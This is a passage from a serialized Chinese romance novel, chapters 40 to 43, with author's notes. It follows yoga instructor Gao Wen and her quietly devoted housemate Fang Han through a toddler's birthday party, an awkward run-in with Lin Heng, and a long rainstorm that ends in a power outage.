作者有话说：有点卡文，这一更就变少了。 下一更努力多更。 大家早安。 这一更发一百个红包哦。 第40章 第40章 方工，你满心满意的喜欢根本…… 次日。 天色未亮。 高雯起床就看到方寒发的消息, 他说他煮了茶水，她出门的时候可以倒一杯。 早上的时间很紧，高雯简单回了他几个字, 就抓紧时间起床, 同时冲上一杯米糊，等洗漱好, 正好冷了能吃。 高雯收拾好后，换上衣服，吃上半杯米糊, 背上书包就出门。 走到门口，她才记起方寒说的茶水, 返回来往厨房走。 茶水就在养生壶里，满满一壶, 还是温的。 高雯倒的时候, 浅尝了一口。 有陈皮的味道, 怪好喝。 她又多喝了几口。 高雯倒了一杯，刚要往外走, 看到地上角落的外卖单。 她本来要捡起来丢到垃圾桶, 无意瞟了眼上面的食材和下单的时间。 这些食材，都是方寒昨天煲汤所用的食材。 下单时间是在她回来之后。 高雯愣了刹那。 走去瑜伽馆的路上, 她查了青橄榄的作用。 润喉利咽、化痰清热。 “雯雯, 你来了。”胡虹的话，打断高雯思绪。 “阿姨。”高雯在马路边与胡虹遇上，两人往瑜伽馆走。 胡虹看到高雯, 眼尾止不住下弯，她提着保温瓶，笑眯眯道：“我给你带了五红粥。小妮她们说你都吃减脂餐, 所以我没放糖。” 面对胡虹的热情，高雯无所适从：“阿姨，我早上吃早餐了的。” “我还不知道你们年轻人啊，时间匆忙，就那么应付一口，对身体不好。”胡虹说着叹气，眼底带着怜惜，“你那么累，每天要上很多课，很伤气血，吃点杂粮粥，养养气血。” “年轻的时候，身体好，这些都不在意，上了年纪就要受苦的。” 高雯从包里拿出保温杯，里面是方寒煮的茶水，再听到胡虹说的这话，一股难言的情绪在她内心不断翻涌，掀起一层层巨浪。 她不是情感冷漠，也会感觉到有那么一丝丝温暖。 这个城市很大，年轻人疲于生存，许菲上半年还因为这些年加班吃饭不及时，胃出血住院。 大家好像都在匆匆忙忙上班下班，伤不伤气血，伤不伤身体，似乎不太重要。 初秋的早上，天气微凉，起床需要毅力。 高雯以前兼职时也会早起，哪怕在冬天，她也不会有太多的感触，这个城市，对她来说，一直都是冷的。 她就像浮萍，没有亲人，没有朋友，在这个城市平静漂泊着， 最近这段时间，高雯感受到太多温暖，让她对这个偌大的城市升起一点点归属感，好像找到了滋养自己的土壤，她迫切想要扎根，面对这些对自己好的人，她更不知道如何回报。 “谢谢阿姨。”高雯一直自诩是个八巧玲珑的人，她善于观察人也善于说好听的话，只是面对真诚热情的胡虹，殷勤嘴甜的话不太能说出口。 一句谢谢，很郑重，就像她对方寒，真的不知道该说些什么。 “谢什么呀，你要是我女儿就好了。”胡虹说着，难免要吐槽自己家儿子不贴心，顺便感慨一句，“男孩子和女孩子，终究是不一样的。” 高雯对于这个话题，并未接话。 因为她是女孩子，从小就被高家人嫌弃，嫁一个好人家，出人头地，狠狠出一口恶气，似乎就成了母亲宋洁从小对她的要求。 一节课后，胡虹拿着毛巾在擦汗，她这一次并没有喊疼，而是看向正在收辅具的高雯：“雯雯啊，你喉咙不舒服吗？” “有点，但今天已经好多了。”高雯说着旋开保温杯，喝了口水。 胡虹点头，看向高雯的保温杯，“多喝点这个陈皮橘红茶好，润肺化痰，滋养咽喉。我儿子小时候喉咙不舒服，我就给他喝这个，效果很好，喝两天就没事了。” 听她这么说，高雯的视线落在自己手中的保温杯上。 方寒是个少言的人，他只是说他茶水煮多了，她可以倒一杯。 他还是那个他，心思细腻，友善温柔。 胡虹走出去和张妮她们聊天，高雯就在教室里，她小口小口喝着保温杯中的茶水，拿过手机，打开和方寒的聊天页面。 删删减减。 斟酌字句。 会员来上课前，高雯打了一行字发出去：【学长，茶水喝了，很好喝，喉咙好多了。谢谢。】 发了消息后，觉得可能有点生疏，又发了一个鞠躬致谢的可爱表情包。 方寒早就醒了，他本来想给高雯发消息，意外看到聊天页面上，她那边一直显示正在输入。 高雯发来消息的时候，方寒盯着看了很久。 她还是和他太见外了。 不过，她没事，就是好的。 * 胡虹在瑜伽馆待到中午，她和张妮她们聊成一片，强烈建议高雯让她加入小班。 愿望达成后，这才拎着她的购物袋兴高采烈回去。 这才不到两点，胡虹又来了。 “阿姨，您早上不是才上过课吗？”张妮说。 “我不上课，我来找雯雯，”胡虹提着保温瓶，“我今天上课的时候，发现她嗓子不舒服，回家给她炖了雪梨汤，趁热给她送过来。” 张妮几人相视一眼，纷纷诧异。 “我还给你们带了哈密瓜和酥饼，”胡虹从她那个购物袋里，掏出一盒切好的哈密瓜，还有打包好的饼，“你们都趁热吃啊。” “阿姨，您怎么知道我们饿了，您也太好了。”林思悦闻到饼香，下意识咽了咽口水，肚子都咕咕叫。 胡虹还贴心准备筷子。 高雯中午是有一节课的，会员刚出来，胡虹就提着保温瓶进去了。 张妮正吃着哈密瓜，看着胡虹进去，不由感慨：“这个阿姨，为她儿子真的很努力了。” “啊？”林思悦往嘴里塞到一大块饼，酥酥脆脆，直呼好吃，含糊道，“什么意思？她对雯雯姐好关她儿子什么事？” 在她看来，高雯很好很好，别人对她好理所应当。 “你看，你就单纯了吧。”张妮叹气，摸了摸林思悦的头，“这个阿姨呢，是个好阿姨，也是真心喜欢雯雯，但是呢，她估计想让雯雯当她儿媳妇。” “什么？”林思悦瞪大眼。 张妮夹了块饼：“你看我们像不像被贿赂的朋友？就比如寝室里那些被追求的室友，送东西都有我们的一份。” 林思悦：“” 这段时间，胡虹的确往馆里送了不少东西，每天都有好吃的。 可，没人告诉她，这是“出卖”朋友得到的啊。 林思悦都觉得饼不香了，甚至护起了高雯：“谁知道她儿子是不是歪瓜裂枣！” 没人能配得上雯雯！ “那不会吧？”张妮迟疑，随后又道，“年轻人的事情，老一辈决定不了。找婆婆其实和找老公一样重要，这也不是一件坏事。” 林思悦一知半解。 * 周一。 高雯来到顾书杰的公司。 张妮今天正好休假，两个人一起来的。 公司的人都去开会了，张妮闲来无事，也进去听。 饶是知道高雯的专业性强，张妮还是一次次被她折服，在会上，高雯的发言简明扼要，对于质疑的点，提出的要求清晰明确。 张妮拍了几张照片保存下来，想着怎么制作成视频，发到视频号，之后还能宣传。 拍好照片，张妮正在修图，她看到照片里的方寒，有些疑惑，放大了照片。 张妮这一放大，发现了不对劲。 她快速查看接下来的几张照片，嘴角露出意味不明的笑意。 接下来的时间，张妮都在不动声色观察方寒，视线在他和高雯的身上流转。 张妮的笑意越来越深，她强忍着，举起手机认认真真找角度，又拍了一些照片和视频备用，她还特意避开方寒，他实在是不适合入镜。 会议结束。 大家陆陆续续出了会议室。 高雯去了洗手间，方寒回到工位，正在整理资料。 张妮走到方寒身旁，唤了一声：“方工。” “嫂子。”方寒正在找资料，礼貌回一句。 张妮身子一侧，含笑来一句：“你喜欢雯雯啊？” 话音未落，方寒就失手打翻了桌上的杯子，他连忙把资料拿起来，不断抽纸去擦。 人在紧张的时候，会假装非常忙碌。 张妮看着他慌张的样子，笑意渐深：“你是不是好奇我是怎么知道的？” 方寒手顿了顿，脑子里出现无数想法，扰乱他心神。 “你的眼睛都要盯在她身上了，”张妮笑出声，“方工，你满心满眼的喜欢根本藏不住啊。” 方寒懵了一瞬，紧接着耳朵红了。 张妮又道：“你的竞争对手不少哦，每天都有人打听她，馆里最近来了个阿姨，很热情很好，每天都给雯雯送粥送吃的，嘘寒问暖。她有个正值婚配的儿子，我估计她是看上了。” 方寒知道那个阿姨。 不仅给高雯送东西，还会时不时找她聊天，分享家常，让她去她家吃饭。 高雯那么好，不是只有他知道。 他第一次产生一种想法，这个阿姨“不讲武德”，他儿子不结婚不谈对象，她不应该管。 方寒焦虑了，他抬眼看了洗手间，见高雯正走回来，看向张妮，语气带着罕见的纠结无奈：“嫂子，麻烦你保密。她好像还不想谈恋爱。” “我知道，你们可以多相处了解。虽然我蛮喜欢那个阿姨，她当婆婆应该会不错，但我是你嫂子，当然要帮自家人。”张妮一副懂他的心态，“下个周六，我女儿生日，记得来啊，我会请雯雯。” 她倒不会插手，但多制造机遇还是可以的。 方寒：“嗯。” 高雯走回来时，方寒低着头，又在假装忙碌着他的资料，手心还渗出不少汗。 40-50 第41章 第41章 方工啊，你十分具有做奶爸的…… 张妮和顾书杰的女儿今年两岁。 参加生日宴当天, 高雯特意抽出小半天去给小家伙买礼物。 这件事可让她犯难了。 高雯压根没接触过这么小的孩子，不知道她们喜欢什么，想玩什么。 她和方寒一起, 在商场里逛了一圈, 两人手上还是空空如也。 “你家没有小辈过生日宴吗？”高雯问方寒。 方寒摇头：“我父母都是独生子，家里亲戚很少。” 高雯：“我家的话, 是因为亲戚都不往来，也算亲戚少吧。” 自从她出生，高家见是个女儿, 就不待见，高父是个很负责的父亲, 很疼她，渐渐和家里断了往来。 高雯走到一楼, 看到金店柔和亮眼的灯光, 她走了进去。 “您好, 请问需要点什么？”导购员上前。 高雯没来过金店，她左看右看, 想寻找小孩子能戴的首饰。 不知道这里有没有。 导购员见高雯没说话, 笑着又看向方寒：“两位是要买结婚的三金吗？我们店今天刚好回了很多新款，可以看看, 喜欢可以试戴。” 她见两人长得这么好看, 穿衣打扮也没戴金饰，依她看，最大可能性就是来买结婚三金。 此言一出, 方寒心下一紧，高雯连忙否认：“不不不，不是。” “那是要给女朋友买首饰吗？”导购员又看向方寒, 走到一旁的柜台，“这些都是最新款的首饰，新工艺。” “就是有没有给小孩子戴的？两岁左右。”高雯脸色有些发烫，简单形容。 方寒跟着补充：“长命锁或者其他的。” “有啊，在里面，两位请跟我来。”导购员了然，笑着带他们往里走。 高雯和方寒跟着导购员。 过道狭窄，两人往前的时候，手臂轻撞，又同时止住脚步。 “你先。”方寒让了高雯。 高雯有些不自在点了点头，挪动小碎步，快速往前，跟着导购员。 方寒慢慢跟在她身后，加速跳动的心不止。 导购员把托盘拿出来，取了几个金锁和小手镯：“这些都是比较热门的款式，寓意很好。” 高雯拿起一个做工精细的小金锁，她看向方寒，眉眼弯弯笑着问：“这个怎么样？挺别致的。” “可以。”方寒点头。 “这个也不错啊。”高雯又拿起一个小金锁。 “这个也好看。” “这也 是小孩子戴的小镯子吗？”高雯看向柜子里的金镯子。 “对，这些都是小孩子的。”导购员回答。 “把那几个拿出来给我看看。”高雯指了指其中几个。 导购员拿出来后，高雯一个个拿起来看，时不时问方寒的意见，他都说：“挺好的、都好看、这个也不错” 这可把高雯纠结得不知道选哪一个了。 她拿着几个在来回认真选。 导购员见此，一脸羡慕笑着道：“我都看出来了，只要是你选的，你男朋友都觉得好，喜欢哪一个，就买哪一个。” 此言一出，高雯那张白嫩的脸唰一下涨红，突然羞窘得脑袋有些宕机，都没立即开口解释。 “你误会了，我们是朋友。”方寒僵着身子，开口解释。 男朋友这个词，让他有些不知所措，眼睛都不知道往哪看了。 代购员连连道歉：“不好意思，实在不好意思。” “买两个吧，一个金锁，一对手镯，都很好看。”方寒看着高雯手中握着的两个，从她手里轻轻取出来，交给导购员，往前台走，“麻烦帮我包起来。” “好的，稍等。” 高雯跟过去要结账，方寒浅笑道：“你算没毕业的学妹，顾学长知道就不得了了，而且送礼物也有我的一份。” 他出示付款码，导购员快速扫了。 “发票给您放在里面了，您慢走，欢迎下次光临。”导购员把袋子双手递给方寒。 “走吧。”方寒看向高雯。 “嗯。” 两人并肩往外走，商场很热闹，途经一个电玩城，里面音乐劲爆。 刚刚在金饰店的尴尬羞窘还没缓解，两人都没说话，甚至连眼神都没对视。 高雯扫视了一眼，看向前面买儿童玩具的店：“去那里看看吧？” “好。” 进门口前，高雯侧头对他认真说：“这一次由我结账，你别跟我抢！” “好。”方寒嘴角微翘，再一次点头。 高雯脑海里，自从浮现导购员刚刚说的话。 她说什么，他都会觉得好。 高雯脑子里还止不住胡思乱想，这对她来说，是不正常的反应。 她加快脚步往前，看着一套套精美的儿童玩具，才有点转移注意力。 两人又买了两套儿童玩具，提着去了顾书杰家。 张妮说不喜欢太隆重，就是相识的朋友吃个饭，热闹热闹。 张妮家就在语禾瑜伽馆附近，离他们租的地方不远。 一套大平层，有个很大的阳台，上面摆放着自助餐，旁边是烧烤炉子。 屋内和阳台被装扮得很用心，到处贴着气球还有小家伙各种可爱的照片 高雯和方寒来时，张妮抱着她的女儿走过来，笑着道：“弯弯，叫姐姐——叔叔——”她看向方寒的时候，下意识这么说，而后忍着笑改口，“是姐姐和哥哥，叫哥哥！” 方寒比顾书杰没小几岁，高雯今年才大四，的确是还小。 况且，方寒还喜欢高雯，可不能把人叫老了。 小弯弯穿着公主裙，嘴很甜，笑嘻嘻看向高雯，发音还不是很标准：“姐姐。” 说着，小弯弯一点都不怕生人，身子一倾，伸手就要高雯抱，还很着急。 “哎哟——”林妮都有些抱不住，回头道，“顾书杰，你看你的女儿，看到美女就这副鬼样子！” “#￥%@￥——”小弯弯见妈妈不松手，一直往高雯那头扒拉，还假哭好几声，很急很急了。 高雯压根没接触过孩子，见她这样，僵硬伸出手，小弯弯立刻顺势爬过来，被她抱住后，立刻止了声，冲她笑眯眯。 看着怀里奶香奶香的小孩子，高雯的心有些发软，眸光好奇看着小弯弯。 高雯对自己的人生事业做过规划，对择偶有严格清晰的要求，但生养孩子，是她从未想过的领域。 她这么一个自私自利的人，又怎么可能把时间浪费在生养孩子上呢？ 在她看来，生育孩子，要付出很多，精力、时间、金钱，堪称一项无私伟大的奉献工程，她着实是难以想象自己会愿意。 “她好喜欢你啊，”张妮笑着说，“你也太有孩子缘了。” 高雯听到这些话，也觉得稀奇又诧异，她小心翼翼抱着小弯弯，动作生疏又忐忑，快速走到一边坐下来，生怕把孩子抱摔了。 “来就来，你们还买这么多东西，多见外，”张妮接过方寒手中的礼品，看到还有金饰，更是觉得贵重，她走到高雯身边，从礼盒装里把手镯和金锁拿出来，给女儿戴上，“哥哥和姐姐给你买金子，多好看啊，” 小弯弯乖乖待在高雯怀里，看着手上的金子，又低头看了脖子上的金锁，抬起她肉乎乎的双手，笑着要给高雯看。 “真好看。”高雯眉眼柔和，看着小弯弯，低头逗她玩。 小孩子也没她想象的那样闹腾，很乖巧。 方寒站在一边，唇角噙了一抹笑，看着这一幕。 张妮给高雯倒了杯果汁，途径方寒时，瞅了他一眼：“方工，稍稍收敛一下，你的目光太炽热了。” “”方寒清了清嗓音，朝顾书杰走去。 顾书杰正忙着摆放小蛋糕，看到方寒来了，出口道：“听说你很喜欢高雯啊？” 方寒脚下一踉跄，头皮都发麻了，赶紧看向高雯，脸色变化很精彩。 顾书杰见他这样，笑得不行：“得，我知道了。”他说着摇头，“你这不温不火的性子，我还以为你清心寡欲呢，敢情是没遇上人啊。” “爱情这玩意害人，你爱上她，就被她吃死了，做牛做马，就像我一样。” 顾书杰说着，空出一只手拍了拍方寒的肩，说得语重心长。 方寒看着顾书杰，薄唇轻启道：“是吗？师哥，我看你乐在其中。” 顾书杰脸上笑意收敛：“有吗？” “嗯。”方寒点头。 每次提起张妮和女儿，顾书杰的嘴角都会止不住上扬，一点都没不情愿的样子。 顾书杰继续摆放蛋糕，好一会才沉沉道：“生活很难，压力又那么大，遇到一个自己爱的人不容易，喜欢就追呗，不然被抢走了可要悔恨终生啊，”他说着抬头，“你的竞争对手不少，听说老阿姨都来和你抢了。” 方寒没接话，再一次看向高雯那头。 小弯弯很调皮，她不想坐着，站在了高雯腿上，冲她笑嘻嘻。 高雯手忙脚乱抱着她，小弯弯还要蹦来蹦去，她眉头紧缩，实在是有些招架不住。 高雯欲哭无泪，张妮看出她的为难，伸手要去抱女儿：“妈妈抱。” “呜呜呜——”小弯弯双手立刻抱着高雯的脖子，把头埋在她脖颈里，肉嘟嘟的身子扭动着，拼命摇头撒娇：“不，不——” “姐姐都抱累了。”张妮又说。 “香香——”小弯弯抬头看高雯，笑得更可爱呆萌，又把头埋在高雯怀里去抱她，笑得那叫一个开怀，“香香。” 漂亮姐姐好香香。 张妮无奈伸手扶额：“她就这样，看到好看的人，抱着都不撒手，小小年纪，就是色胚，这怎么得了啊？” 她正说着，小弯弯抬头了，继续笑着看高雯，小肉手去玩她头发，还要让高雯抱着她去阳台那边。 高雯抱着她起身。 宾客逐渐来了，张妮忙得团团转，只能先去招待，让顾书杰看着点。 顾书杰接了个电话，也忙去了。 高雯抱着正在闹腾的小弯弯，小孩子精力实在旺盛，来来回回走，她实在抱得不熟练，小弯弯在怀里跟翻腾的鱼一样，她战战兢兢，生怕摔了，有些迷茫又欲哭无泪。 见方寒看过来，高雯连忙用眼神求救。 救救她啊。 她不会带孩子。 方寒往那头走，他也不会带，只能学着大人样子，朝小弯弯伸手：“哥哥抱——” 他也不承认自己是叔叔。 小弯弯重重把头往后一扭，小嘴巴撅着，抱紧高雯。 高雯：“” 想哭又想笑。 小弯弯又要闹着让高雯去滑滑梯那边玩，肉嘟嘟的身子扭啊扭，扭啊扭—— 高雯着急，压低声音求救：“我，我不会啊，我要抱不住了，学长——” 方寒看了一圈，快速从高雯怀里把小弯弯抱出来。 动作快到高雯都没反应过来。 小弯弯正懵逼，就被换了个人抱。 她抬头，见不是漂亮小姐姐，张大嘴巴就要哭闹。 方寒将她一下举高，小弯弯把哭声变成了笑声：“咯咯咯——” 见她喜欢，方寒不厌其烦，一遍遍把她举高，让小弯弯坐在他的肩头。 高雯怕她坐不稳，在方寒身后看着，伸手扶住她。 小弯弯看到漂亮小姐姐也在，笑得那叫一个高兴，让两个人带她去玩滑滑梯。 方寒把她抱上去，高雯在下面接着。 一遍又一遍。 高雯这下非常清楚了，她没有带孩子的耐心，累了后，她坐在滑滑梯下，方寒来来回回走，他脸上并未露出一点不耐烦，还拿过纸巾，笨拙给孩子擦汗，帮她整理衣服。 张妮走过来看到，都忍不住道：“方工啊，你十分具有做奶爸的潜质啊。” 闻言，正在回会员消息的高雯抬头看向方寒。 方寒正抱着小弯弯，温柔给她整理头发上的夹子，他的动作生疏僵硬，却很耐心。 高雯有些认同张妮说的话。 好像是这样。 * 顾书杰请来的大部分人，都是公司同事，有几个是他大学室友。 “老三还没来吗？” 吃饭时，其中一个室友问。 “说是忙，不一定能过来。”顾书杰给众人倒红酒。 高雯和方寒挨着坐，他们不喝酒，顾书杰也知道，给两人倒了果汁。 小弯弯玩累了，被顾母抱走。 高雯第一次见到张妮口中的顾母，那是一个山区没什么文化的老太太，据说大半辈子都没出过山区，但很有分寸感很善良，话不多，来帮他们带孩子，所以张妮才有时间出去上班。 小弯弯最喜欢的是奶奶，刚刚就是顾母从高雯怀中把小弯弯带走了。 一群人有说有笑，方寒和高雯都不是活跃气氛的人，话也少。 顾书杰他们喝了酒，都开始拿着麦克风唱歌，难得有些疯狂。 高雯还有事，得先回去。 她站起来去和张妮道别。 “你快回去吧，明天早上还有课呢。”张妮说着看向高雯身后的方寒，“方工，你送雯雯回去啊，反正你们顺路。” “嗯。”方寒点头。 张妮一路送他们，高雯让她回去忙，还有很多人在。 “就送到电梯门口，不远。”张妮开门说。 几人走到电梯时，正好电梯门开了，高雯刚要和张妮说再见，就看到电梯里走出来的人，猝然一愣—— 作者有话说：今天有点小卡文了。 所以更得有些晚，抱歉哈。 这一更发两百红包哦。 下午六点的二更难产了，会晚点再更，再理一理大纲，暂定八点吧。 第42章 第42章 高雯和方寒没在一起？…… 林珩提着一盒芭比娃娃套装, 从电梯里走出来，他看到高雯，微微错愕。 张妮率先对林珩说道：“饭局都要结束了, 你现在才来啊？” “刚下班。”林珩说。 “快进去吧, 他们都在等你。”张妮上前接过礼盒。 “恩。”林珩往前走两步，停在高雯面前, 开口问，“你们要走了？” “对。”高雯点头，“要回去了。” 对于哪都能遇到林珩, 她真的很无语。 这一次，高雯更是连招呼都不想打。 对方的出现, 总是在提醒，她这个日子不太平, 她的下场会很惨。 高雯真的很讨厌这种感觉。 “你们认识？”张妮诧异。 林珩笑道：“一个学校, 算得上学妹, 前段时间她在我公司实习。” “这样啊，我都忘了你们一个学校——”张妮直呼是缘分。 高雯走进电梯, 打断张妮的话说：“我就先回去了, 到家跟你说。” “好好好，拜拜。”张妮摆手。 林珩站在张妮身边, 也冲高雯摆手, 电梯关门前，他看了方寒一眼。 两人对视，无声的暗涌在流动。 下楼后, 高雯一言不发，全然没有刚刚愉悦的心情。 方寒默默跟在她身后。 林珩的那个眼神，他有些领悟到了。 对方和高雯之间, 似乎不是那么简单的关系。 他们以前有过交集？ 男女朋友？ 不然为什么会那么影响她的情绪？ 想着，方寒的心情也不平静。 楼上。 林珩一进来，顾书杰几人就高声道：“罚酒，罚酒！三杯！” “行。”林珩很爽快，一杯接着一杯。 众人欢呼，顾书杰勾着林珩的背：“老三，你还在那个公司呢？你说的创业，怎么时候开始？” “快了吧，在准备。”林珩又给自己倒了一杯酒，慢悠悠在喝，思绪有些游神。 张妮走回来，看着林珩道：“你说巧不巧，雯雯和老三也认识，她之前在他的那家公司实习。” 顾书杰：“这样啊，真是巧了。” 张妮照例夸高雯，对林珩道：“人家现在可不是什么实习生，在我们馆里，她的课都得抢，一节课1588，得提前几天预约。而且在网上也火得一大糊涂。你是不是觉得有些大跌眼镜？” “这倒是，”林珩不否认，他喝了口酒，“每个人有每个人擅长的领域吧，她在这个领域的确做得很出色。” “哟，难得从你口中听到这么赞扬的话，”另一个室友说话调侃林珩。 林珩轻笑，话锋一转：“和她在一起的那个，是她男朋友？” 上一次他看到的也是这个男的。 “不是，”顾书杰给林珩倒酒，“他就是我上次我经常说的方寒，现在和我一起创业，两个人有项目合作。这个方寒啊，专业技能很强——” 顾书杰没说私事，把方寒一顿夸，话语都是肯定。 林珩不是第一次听过这个人，顾书杰以前没毕业时，会接一些私单赚生活费，有个学弟经常帮他忙，对方专业技能很厉害，后来创业，他一直想把这个学弟拉入伙，就是没成功。 不过，在林珩当下听来，这些不重要。 高雯和方寒没在一起？ 朋友关系？ 又或者，方寒单方面追求？ 应该就是这样了。 这个发现，让林珩心情不错，不禁多喝了几杯。 趁着有几分清醒，林珩叫了代驾回去。 林思悦和姜舒妍正逛街回来。 两人很久没聚了，以前是林思悦缠着姜舒妍，现在都得姜舒妍约她，还得她有空。 林思悦问了项目的事情，姜舒妍含糊道：“正在进行。” “合同呢？有吗？”林思悦想到徐眉给她签的合同，提醒道，“分红的话，得有合同，这样比较正规。” 姜舒妍正绞尽脑汁找借口时，看到林珩的车，趁机将食指放在嘴边，做了一个手势。 林思悦没再问了。 她走到林珩旁边，闻到酒味：“哥，你喝酒了？” “恩。”林珩扯了扯领带，往里走。 林思悦见他走得有些不稳，要上前搀扶，姜舒妍比他先一步，她的手才刚碰到林珩，他就轻轻甩开：“我没事，不用扶。” 姜舒妍尴尬收回手。 回到家，林珩靠在沙发上。 林母出来看到，拧眉道：“怎么又喝酒了？” 林珩闭着眼没回。 “小妍来了，快坐。”林母让姜舒妍坐下来，给她倒了杯水。 “谢谢伯母。”姜舒妍把一套护肤品送给林母，“您不是说，上一套用完了吗？我刚好有朋友去国外，我就让她带了一套。” “你有心了。”林母一脸欣慰，她看了看林珩，对姜舒妍随口提了一句，“你和阿珩也不小了，现在也差不多到年底，我看今年年底双方父母就见个面，商量着把订婚办了。” 两家是世交，结婚是长辈定下来的。 一直都是默认的事情。 姜舒妍听林母这么一说，心下一喜。 只要能嫁给林珩，肯定不会离婚，她现在所面临的问题，都将不是问题。 只见林珩睁了眼，出言道：“我的事情我自己会处理，不需要别人做安排。” 在场的人还没明白是什么意思，他看向姜舒妍道：“我对小妍就只是兄妹之情，没有其他感情。” 此言一出，宛如扔下重磅炸弹，姜舒妍的脸色倏然惨白。 * 高雯回到出租屋后，情绪还是有些不对劲。 方寒担心她晚上吃得油腻，问道：“要不，我煮点茶水喝喝？” “不用了，谢谢学长。”她说完，默默回了房间。 方寒拿出手机，他等了很久，高雯今天晚上都没直播，也没从房间出来。 她的情绪，应该很不好吧？ 方寒想到了林珩，他的心里五味杂陈，不是滋味。 当天夜里。 高雯有些失眠，好不容易睡着，外面下起了大暴雨，豆大的雨滴不断砸落在窗户上，把她吵醒了。 大雨一直下个不停，楼下的大树被吹得左右摇摆。 高雯被吵得睡不着，她干脆坐起身，靠在床头发呆，她的脑子里有点乱，想什么自己都说不出来。 一直到五点钟，高雯的手机响了，是胡虹发来的语音消息。 胡虹说道：“雯雯啊，雨下得太大，我就不去上课了，路上都是水，外面的风很大，你也别出去了，很危险。” 高雯回了胡虹消息：【好，我知道了，您也注意安全。】 她一回，胡虹连连发了几条： “我都煮好粥了，要给你送过去的，你看，一大锅。” “我昨天买了一个很好吃的柚子，我又去买了一个，都剥好了，要给你拿的。” “可甜可好吃的柚子了。” 胡虹发完语音，还发了几张照片。 高雯一张张翻看照片，心里划过一道道暖流，眼眶甚至有那么一瞬间微微发胀。 到底是和记忆里所谓的前一世不一样的。 以前她总是孤零零一个人，现在她也有关心她的人。 这个城市，对她来说有了一点温情。 高雯回复着胡虹的消息：【辛苦您了，改天再吃吧，改天和您一起吃。】 胡虹：【好啊好啊，改天我给你带更好吃的。】 胡虹又发来一条语音，话语带着关切：“天气凉了，你要注意保暖，还有就是要保护脖子，冷的时候戴个围巾。你们年轻人都是不怎么在意，等到上了年纪，就会不舒服了。” 高雯笑着打字回：【好，我会的。】 胡虹发了一个竖起大拇指的表情包，表扬她是个乖孩子，直接把高雯逗得笑出声。 天气暴风骤雨，但她的心情却有些明媚。 她一直觉得自己不太会和长辈相处，但似乎也处得不错。 下了雨。 天亮得很迟。 六点半的时候，高雯起床洗漱了，她上午都有课，无论刮风下雨，只要会员来，她就得去上课。 不过，群里陆陆续续有会员取消课程的消息。 上午的课都取消了，说是雨太大，风也大。 还有一些会员发出视频，家门口都要被淹了。 高雯看着群里的视频，没一会，馆里就发出公告了，说是今天的课都取消。 得到消息，高雯也不用等着了，难得有这么悠闲的时间，她把手机放在一边，铺开垫子，先做了自我训练。 做完训练，洗了个澡。 高雯出门接水的时候，发现方寒坐在餐桌上，见她出来，他收回思绪，温声问：“今天不上课吗？” “外面下了那么大的雨，会员都取消课了，今天放假。”高雯笑着说，心情不错。 “吃点早餐？我煮了小米粥。”方寒说。 “好。”高雯走过来坐下问，“你今天有空吗？我想和你探讨一下上次开会的一些细节。不然过几天又要忙了。” “可以。”方寒往厨房走，点着头。 高雯想了想：“要不，我去你们公司吧？反正我今天也放假。” 今天又不是周末，他得上班。 方寒：“雨太大，我们公司上午放假。” 实际上，他时间比较自由，顾书杰对他压根没什么要求。 “这样啊，那正好。”高雯喝着黏稠的小米粥，里面有些甜甜的红枣，很好喝。 方寒也盛了一碗，坐在她对面：“昨晚睡得好吗？” “不好。”高雯摇头。 方寒垂眸，抿紧唇没说话。 是因为林珩？ “昨天雨太大了，吵得根本睡不着，醒来也是没精打采，”高雯喝了一口粥，往前凑了凑，含笑道，“幸好今天放假，不然我得死撑，很要命的。” 她说得搞笑，方寒跟着扬起笑容，“你今天好好休息。” “休息不了啊，我和你讨论完工作，我还得改论文。”高雯瘪了瘪嘴，愤愤喝了一口粥道，“而且，馆里要开线上课，我之后还得抽出时间录视频，还有你们项目的视频，我头都大了。我恨不得分身，分一百个身，要是能变成孙悟空就好了。” 方寒笑了笑，随后轻声道：“再繁忙的事情，一点点处理，最后总会慢慢解决。我这边你可以缓一缓，不要给自己太大压力。身体最重要，有需要我帮忙的地方，你就跟我说。” 他的话，让高雯喝粥的动作变慢。 她最近真的太忙了，和别人说，他们只会觉得她在凡尔赛，那么多钱，那么光明的前途，别人都求不到。 唯有方寒，会关心她。 就像很多会员觉得，她一直上课，收入真可观，只有那个阿姨，会关心她的身体，担心她嗓子不好，让她注意保暖，会给她带补品，让她补补气血。 粥里有红枣，味道很清甜，高雯小口小口喝着，低着头，嗡里嗡气道：“嗯。” * 这场大雨，大家都以为只下一天。 没想到，下了整整三天还没消停，很多公司都放假了。 排水不好的地方，出现了积水。 语禾瑜伽馆所在的商场周边就积水了，馆里停课三天，还要继续停。 高雯在家待了三天，她时间空闲，论文改了一稿，也和方寒处理不少工作，令她头疼牵挂的事情，都暂时解决了。 方寒去了公司一天，今天在家。 高雯拿着电脑，正在和他讨论方案。 “啪——” 客厅的灯暗了—— 作者有话说：今天有些卡文，所以更新时间稍有延迟，不过，今天更了八千，我会继续努力多更的！ 大家晚安。 明天见。 第43章 第43章 你留下来吧。 四周一黑, 说着话的高雯声音戛然而止。 她的身体僵住，喉咙发紧。 处于黑暗中的高雯会变得非常没有安全感，就在她要陷入各种情绪中时, 方寒打开了手机灯, 周围骤然亮了不少。 他本来坐在她对面，拉着椅子坐到她身旁, 出口道：“可能是停电了，过一会就会有电吧。” 高雯看向他，没说话, 脖子无意识缩了缩。 “刚刚说到哪了？” 方寒问高雯。 方寒的声音，将高雯从思绪的漩涡中拉出来, 他的嗓音温润，于她而言, 带着一股安心的力量。 “你是不是被吓到了？”方寒语气关切又问。 他发现了, 只要天黑, 她的情绪就会很不对，灯泡坏了那一次是这样, 在办公室也是这样。 “有点。”高雯看着近在咫尺的方寒, 急促的呼吸逐渐恢复正常，声线很小。 “喝点水缓缓。”方寒端起一侧的水杯, 放在她手上。 高雯双手捧着水杯, 不断喝着。 “最近下了太久的雨，估计哪里的电路出问题，应该很快就有人来检查。”方寒不断说着话, “我们等等吧，说不定过会就有电了。” “嗯。”高雯点头。 方寒将手机放在一旁的置物架上，又让高雯把她的手机也开了灯, 客厅里亮了大半。 他拿过资料，翻阅着。 客厅内，方寒清雅醇厚的声音一直在高雯耳边响起，她身子止不住倾斜，往他靠近了些，她捧着水杯，看着他面前的资料，偶尔能接上一两句话。 手机的灯光映在两个人身上，带着柔和。 等了很久，客厅的灯迟迟没亮起来，手机的电量也在告急。 方寒打了个电话。 他有朋友在供电所工作，还是能打探到一些消息。 客厅很安静，高雯也能听到电话那头传来的声音，她的心下又是一颤。 目前来看，道路正在抢修，今天晚上不会有电。 没有电，她怎么过？ 屋内那么黑，她不行的，她害怕。 